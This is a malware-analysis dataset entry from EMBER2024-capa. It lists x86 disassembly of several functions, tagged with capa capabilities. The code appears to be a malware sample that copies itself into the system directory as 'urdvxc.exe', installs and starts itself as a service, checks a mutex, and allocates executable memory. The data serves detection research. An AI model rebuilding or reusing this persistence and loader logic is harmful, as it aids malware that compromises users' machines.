joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407f05
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0x190
call sub.kernel32.dll_Sleep
call fcn.00408410
push 0x41cc30
push str._embedding
call section..text
cmp eax, 1
jne 0x407f36
call fcn.00408150
call fcn.00408560
cmp eax, 0xffffffff
jne 0x407f45
call fcn.004085d0
push str.jhdheddfffffhjk5trh
push 1
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [0x41cdb4], eax
call sub.kernel32.dll_GetLastError
or eax, eax
je 0x407f73
push dword [0x41cdb4]
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess
push 0xc
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
mov esi, eax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi], eax
mov edi, 1
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403590
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [esi + 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402040
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp - 8]
push 0x408040
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
mov edi, 4
lea eax, [ebp - 4]
push eax
push edi
push 0
push 0x402750
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [esi + 4], eax
push 0xffffffffffffffff
push dword [0x41cdcc]
call sub.kernel32.dll_WaitForSingleObject
cmp dword [0x41cdb0], 0
je 0x408034
push 1
push 0
call fcn.00401570
push 0x3e8
call sub.kernel32.dll_Sleep
push 4
push 0
call fcn.00401570
push 0
call sub.kernel32.dll_ExitProcess

Function at 0x4080d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [0x41c92e], edi
add ebp, 4
mov ebx, 0xffffffff
push 0x400
push edi
call sub.kernel32.dll_IsBadReadPtr
or eax, eax
jne 0x408119
cmp word [edi], 0x5a4d
jne 0x408119
add edi, dword [edi + 0x3c]
cmp dword [edi], 0x4550
jne 0x408119
movzx ecx, word [edi + 0x16]
test ecx, 0x2000
je 0x408119
xor ebx, ebx
or ebx, ebx
jne 0x40813a
call fcn.00401920
cmp esi, 1
jne 0x408133
mov eax, 1
pop ebx
pop esi
pop edi
leave
ret 0xc
pop ebx
pop esi
pop edi
leave
ret 0xc
sub ebp, 4
pop ebx
pop esi
pop edi
leave
ret 0xc

Function at 0x408150
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push edi
push esi
push ebx
push 0
call sub.ole32.dll_CoInitialize
push 0x41aff8
call fcn.0040dc90
mov dword [0x41ccf8], eax
push 0x41ccfc
push 1
push 4
push dword [0x41ccf8]
push 0x41c93a
call sub.ole32.dll_CoRegisterClassObject
push 0x12c
lea eax, [ebp - 0x180]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
xor eax, eax
lea edi, [ebp - 0x54]
mov ecx, 0x44
rep stosb byte es:[edi], al
mov dword [ebp - 0x54], 0x44
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
lea eax, [ebp - 0x180]
push eax
push edx
call sub.kernel32.dll_CreateProcessA
push 0
call sub.kernel32.dll_ExitProcess
Function at 0x4082a0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push edi
push esi
push ebx
xor ebx, ebx
push 0x1f4
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x2bc]
push eax
push str.patch:
call section..text
cmp eax, 1
jne 0x4082db
lea eax, [ebp - 0x2bc]
push eax
call sub.kernel32.dll_DeleteFileA
inc ebx
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret

Function at 0x4082f0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x408359
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov ebx, eax
push ebx
call sub.ole32.dll_CoTaskMemAlloc
or eax, eax
je 0x408359
mov edi, eax
or eax, eax
je 0x408359
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push ebx
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov ecx, dword [ebp + 0x10]
mov dword [ecx], ebx
xor eax, eax
leave
ret 0xc
mov eax, 0xffffffff
leave
ret 0xc

Function at 0x408410
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff95c
push edi
push esi
push ebx
push 0x12c
lea eax, [ebp - 0x384]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea edx, [ebp - 0x384]
dec eax
cmp byte [eax + edx - 4], 0x5c
jne 0x4084fc
push 0x258
lea eax, [ebp - 0x258]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea edx, [ebp - 0x258]
cmp byte [eax + edx - 1], 0x5c
je 0x408465
mov word [eax + edx], 0x5c
push 0x415502
lea eax, [ebp - 0x258]
push eax
call sub.kernel32.dll_lstrcatA
push 0
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x384]
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x514]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x6a4]
push eax
call sub.kernel32.dll_lstrcpyA
push str._installservice
lea eax, [ebp - 0x514]
push eax
call sub.kernel32.dll_lstrcatA
push str._start
lea eax, [ebp - 0x6a4]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x514]
push eax
call fcn.00408510
push 0x7d0
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x6a4]
push eax
call fcn.00408510
push 0
call sub.kernel32.dll_ExitProcess
pop ebx
pop esi
pop edi
leave
ret

Function at 0x408510
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
push esi
push ebx
xor eax, eax
lea edi, [ebp - 0x54]
mov ecx, 0x44
rep stosb byte es:[edi], al
mov dword [ebp - 0x54], 0x44
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push dword [ebp + 8]
push edx
call sub.kernel32.dll_CreateProcessA
mov edi, eax
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
mov edi, eax
pop ebx
pop esi
pop edi
leave
ret 4
Function at 0x408560
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb50
push edi
push esi
push ebx
mov ebx, 0xffffffff
push 0x258
lea eax, [ebp - 0x258]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea edi, [ebp - 0x258]
jmp 0x40858d
dec eax
cmp byte [eax + edi], 0x5c
jne 0x40858c
mov byte [eax + edi], 0
push 0x258
lea eax, [ebp - 0x4b0]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x4b0]
push eax
push edi
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4085bb
xor ebx, ebx
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret

Function at 0x4085d0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff448
push edi
push esi
push ebx
push 0x258
push 0
lea eax, [ebp - 0x708]
push eax
call fcn.0040dd30
push 0x258
push 0
lea eax, [ebp - 0x960]
push eax
call fcn.0040dd30
push 0x258
push 0
lea eax, [ebp - 0xbb8]
push eax
call fcn.0040dd30
push 0x258
push 0
lea eax, [ebp - 0x4b0]
push eax
call fcn.0040dd30
push 0x258
push 0
lea eax, [ebp - 0x258]
push eax
call fcn.0040dd30
push 0x258
lea eax, [ebp - 0x258]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea esi, [ebp - 0x258]
cmp byte [eax + esi - 1], 0x5c
je 0x40865d
mov byte [eax + esi], 0x5c
push str.urdvxc.exe
push esi
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [ebp - 0x708]
push eax
call sub.kernel32.dll_lstrcpyA
push esi
lea eax, [ebp - 0x960]
push eax
call sub.kernel32.dll_lstrcpyA
push esi
lea eax, [ebp - 0xbb8]
push eax
call sub.kernel32.dll_lstrcpyA
push str.__installservice
lea eax, [ebp - 0x708]
push eax
call sub.kernel32.dll_lstrcatA
push str.__start
lea eax, [ebp - 0x960]
push eax
call sub.kernel32.dll_lstrcatA
push 0x258
lea eax, [ebp - 0x4b0]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
push str.__uninstallservice_patch:
lea eax, [ebp - 0xbb8]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x4b0]
push eax
lea eax, [ebp - 0xbb8]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push esi
lea eax, [ebp - 0x4b0]
push eax
call sub.kernel32.dll_CopyFileA
or eax, eax
je 0x40873a
lea eax, [ebp - 0x708]
push eax
call fcn.00408510
push 0x3e8
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x960]
push eax
call fcn.00408510
push 0x3e8
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0xbb8]
push eax
call fcn.00408510
push 0
call sub.kernel32.dll_ExitProcess
pop ebx
pop esi
pop edi
leave
ret

Function at 0x408afc
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push 0x2061
push 0
call sub.kernel32.dll_VirtualAlloc
mov word [eax], 0x8000
mov dword [eax + 0x4d], 0x10
ret
Function at 0x4096d4
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov dword [edx], 0x67452301
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp - 4]
mov dword [edx + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret
Function at 0x40c3ec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 0x20], 0xfe
mov byte [ebp - 0x1f], 0xdc
mov byte [ebp - 0x1e], 0xba
mov byte [ebp - 0x1d], 0x98
mov byte [ebp - 0x1c], 0x76
mov byte [ebp - 0x1b], 0x54
mov byte [ebp - 0x1a], 0x32
mov byte [ebp - 0x19], 0x10
mov byte [ebp - 0x18], 0xa3
mov byte [ebp - 0x17], 0x9d
mov byte [ebp - 0x16], 0x4a
mov byte [ebp - 0x15], 0x18
mov byte [ebp - 0x14], 0xf8
mov byte [ebp - 0x13], 0x5b
mov byte [ebp - 0x12], 0x4a
mov byte [ebp - 0x11], 0x52
mov byte [ebp - 0x10], 0xfe
mov byte [ebp - 0xf], 0xdc
mov byte [ebp - 0xe], 0xba
mov byte [ebp - 0xd], 0x98
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x54
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 9], 0x10
mov byte [ebp - 8], 0xa3
mov byte [ebp - 7], 0x3d
mov byte [ebp - 6], 0x4a
mov byte [ebp - 5], 0x18
mov byte [ebp - 4], 0xf8
mov byte [ebp - 3], 0x5b
mov byte [ebp - 2], 0x4a
mov byte [ebp - 1], 0x52
push 0
mov dl, 2
lea ecx, [ebp - 0x48]
call fcn.0040c4bc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x33], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2f], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x2b], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x27], eax
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp + 0xc]
shl edx, 3
push edx
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x48]
call fcn.0040c53f
mov esp, ebp
pop ebp
ret 8
Function at 0x40d910
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
and eax, 0xff
cmp eax, 1
je 0x40d93a
mov eax, 0xfffffff7
jmp 0x40da65
mov dword [ebp - 0xc], 0xffffffff
mov ecx, dword [ebp - 0xc]
shr ecx, 0x11
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x7fff
je 0x40d95d
mov eax, 0xfffffff5
jmp 0x40da65
mov dword [ebp - 0x10], 0
jmp 0x40d96f
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
shl eax, 5
cmp eax, dword [ebp - 0x14]
jge 0x40d989
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov dword [edx + ecx*4], 0
jmp 0x40d966
mov dword [ebp - 0x10], 0
jmp 0x40d99b
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
shl ecx, 2
cmp ecx, dword [ebp - 0x14]
jge 0x40da63
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ebp - 8], al
cmp dword [ebp + 0xc], 0
je 0x40d9c6
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x10]
mov dl, byte [ebp - 8]
mov byte [ecx], dl
movsx eax, byte [ebp - 8]
cmp eax, 0x30
jl 0x40d9e4
movsx ecx, byte [ebp - 8]
cmp ecx, 0x39
jg 0x40d9e4
movsx edx, byte [ebp - 8]
sub edx, 0x30
mov dword [ebp - 4], edx
jmp 0x40da27
movsx eax, byte [ebp - 8]
cmp eax, 0x61
jl 0x40da02
movsx ecx, byte [ebp - 8]
cmp ecx, 0x66
jg 0x40da02
movsx edx, byte [ebp - 8]
sub edx, 0x57
mov dword [ebp - 4], edx
jmp 0x40da27
movsx eax, byte [ebp - 8]
cmp eax, 0x41
jl 0x40da20
movsx ecx, byte [ebp - 8]
cmp ecx, 0x46
jg 0x40da20
movsx edx, byte [ebp - 8]
sub edx, 0x37
mov dword [ebp - 4], edx
jmp 0x40da27
mov eax, 0xfffffffe
jmp 0x40da65
mov eax, dword [ebp - 0x10]
cdq
and edx, 7
add eax, edx
sar eax, 3
mov ecx, dword [ebp - 0x10]
xor ecx, 1
and ecx, 7
shl ecx, 2
mov edx, dword [ebp - 4]
shl edx, cl
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + eax*4]
or ecx, edx
mov eax, dword [ebp - 0x10]
cdq
and edx, 7
add eax, edx
sar eax, 3
mov edx, dword [ebp + 8]
mov dword [edx + eax*4], ecx
jmp 0x40d992
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x40e4d4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x40e526
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
push esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x40e52d
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
xor eax, eax
lea edi, [ebp - 0x54]
mov ecx, 0x44
rep stosb byte es:[edi], al
mov dword [ebp - 0x54], 0x44
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push dword [ebp + 8]
push edx
call sub.kernel32.dll_CreateProcessA
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
pop edi
leave
ret 4

Function at 0x40e575
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov ebx, 0xffffffff
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40e5f2
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
push 0x40
push 0x1000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x40e5f2
mov edi, eax
or eax, eax
je 0x40e5f2
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov dword [ecx], eax
inc ebx
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret 0xc

Function at 0x40e710
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff6f8
push edi
push esi
push ebx
lea eax, [ebp - 0x900]
push eax
call fcn.0040f1a0
lea eax, [ebp - 0x900]
mov eax, dword [eax]
xor edx, edx
mov ecx, 0x7f
div ecx
shr edx, 1
shl edx, 1
movzx edx, dl
add dl, 0x80
add edx, 3
and dl, 0xfc
add edx, 8
mov dword [ebp - 0x904], edx
lea eax, [ebp - 0x900]
mov eax, dword [eax + 0x3c]
xor edx, edx
mov ecx, 0xc000
div ecx
mov dword [ebp - 0x908], edx
mov ecx, dword [ebp + 0x18]
add dword [ebp - 0x908], ecx
push 0x40
push 0x1000
push 0x8000
push 0
call sub.kernel32.dll_VirtualAlloc
mov edi, eax
mov eax, dword [ebp - 0x904]
cmp al, 4
je 0x40e796
cmp al, 0xfc
jne 0x40e79d
add dword [ebp - 0x904], 0x14
push dword [ebp - 0x904]
push dword [ebp - 0x908]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040ebe0
mov esi, eax
push 0x40
push 0x1000
push 0x8000
push 0
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x904]
cmp al, 4
je 0x40e7df
cmp al, 0xfc
jne 0x40e7e6
add dword [ebp - 0x904], 0x14
add dword [ebp - 0x908], 0x3000
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x904]
push dword [ebp - 0x908]
push ebx
push esi
push edi
call fcn.0040e823
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
push 0x8000
push 0
push edi
call sub.kernel32.dll_VirtualFree
pop ebx
pop esi
pop edi
leave
ret 0x1c
Function at 0x40f1a0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
push dword [ebp + 8]
push 0x3ff
push dword [ebp - 4]
call sub.advapi32.dll_CryptGenRandom
push 0
push dword [ebp - 4]
call sub.advapi32.dll_CryptReleaseContext
pop ebx
pop esi
pop edi
leave
ret 4
Function at 0x410cc0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov ebx, 0xffffffff
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x410d3c
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
add eax, 0x3e8
push 4
push 0x3000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x410d34
mov edi, eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov dword [ecx], eax
inc ebx
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x411928
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff38
mov eax, dword [ebp + 0x10]
shl eax, 3
mov dword [ebp - 4], eax
mov dword [0x41be68], 0x67452301
mov dword [0x41be6c], 0xefcdab89
mov dword [0x41be70], 0x98badcfe
mov dword [0x41be74], 0x10325476
cmp dword [ebp + 0x10], 0x40
jle 0x411995
push dword [ebp + 0xc]
lea edx, [ebp - 0xc8]
push edx
call fcn.00411b35
add esp, 8
lea ecx, [ebp - 0xc8]
push ecx
call fcn.00411b8e
pop ecx
add dword [ebp + 0xc], 0x40
sub dword [ebp + 0x10], 0x40
cmp dword [ebp + 0x10], 0x40
jg 0x411968
xor eax, eax
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov byte [edx + ebp - 0x88], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x80
jl 0x41199a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
lea eax, [ebp - 0x88]
push eax
call fcn.0040dcff
mov eax, dword [ebp + 0x10]
mov byte [eax + ebp - 0x88], 0x80
cmp dword [ebp + 0x10], 0x37
jg 0x411a08
push dword [ebp - 4]
lea edx, [ebp - 0x50]
push edx
call fcn.00411afa
add esp, 8
lea ecx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0xc8]
push eax
call fcn.00411b35
add esp, 8
lea edx, [ebp - 0xc8]
push edx
call fcn.00411b8e
pop ecx
jmp 0x411a5a
push dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
call fcn.00411afa
add esp, 8
lea eax, [ebp - 0x88]
push eax
lea edx, [ebp - 0xc8]
push edx
call fcn.00411b35
add esp, 8
lea ecx, [ebp - 0xc8]
push ecx
call fcn.00411b8e
pop ecx
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0xc8]
push edx
call fcn.00411b35
add esp, 8
lea ecx, [ebp - 0xc8]
push ecx
call fcn.00411b8e
pop ecx
xor eax, eax
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov byte [edx + ebp - 0x88], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x80
jl 0x411a5f
lea ecx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0xc8]
push eax
call fcn.00411b35
add esp, 8
push dword [0x41be68]
push dword [ebp + 8]
call fcn.00411afa
add esp, 8
push dword [0x41be6c]
mov edx, dword [ebp + 8]
add edx, 4
push edx
call fcn.00411afa
add esp, 8
push dword [0x41be70]
mov ecx, dword [ebp + 8]
add ecx, 8
push ecx
call fcn.00411afa
add esp, 8
push dword [0x41be74]
mov eax, dword [ebp + 8]
add eax, 0xc
push eax
call fcn.00411afa
add esp, 8
xor edx, edx
mov dword [0x41be74], edx
mov dword [0x41be70], edx
mov dword [0x41be6c], edx
mov dword [0x41be68], edx
mov esp, ebp
pop ebp
ret

Function at 0x4126c1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0x14]
jge 0x4126f8
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov dl, byte [eax + ecx]
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 4]
xor dl, byte [eax + ecx]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov byte [ecx + eax], dl
inc dword [ebp - 4]
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0x14]
jl 0x4126d2
pop ecx
pop ebp
ret
Function at 0x4030a8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x47a008], 0x8088405
inc edx
mov dword [ebx + 0x47a008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403e88
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x47a024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403f20
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403f00
xor eax, eax
push ebp
push 0x403ef9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403f3c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f00
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x47a024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x47a024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404d34
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47c04c], 0
je 0x404d95
cmp word [0x47c220], 0xd7b2
jne 0x404d5d
cmp dword [0x47c228], 0
jbe 0x404d5d
mov eax, 0x47c21c
call dword [0x47c238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404dbc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x47a030], 0
jne 0x404db1
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404eec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x47a038], 0
je 0x404f12
mov edx, esi
mov eax, ebx
call dword [0x47a038]
jmp 0x404f21
mov eax, 8
call fcn.00402d90
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x47c04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404eb4
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc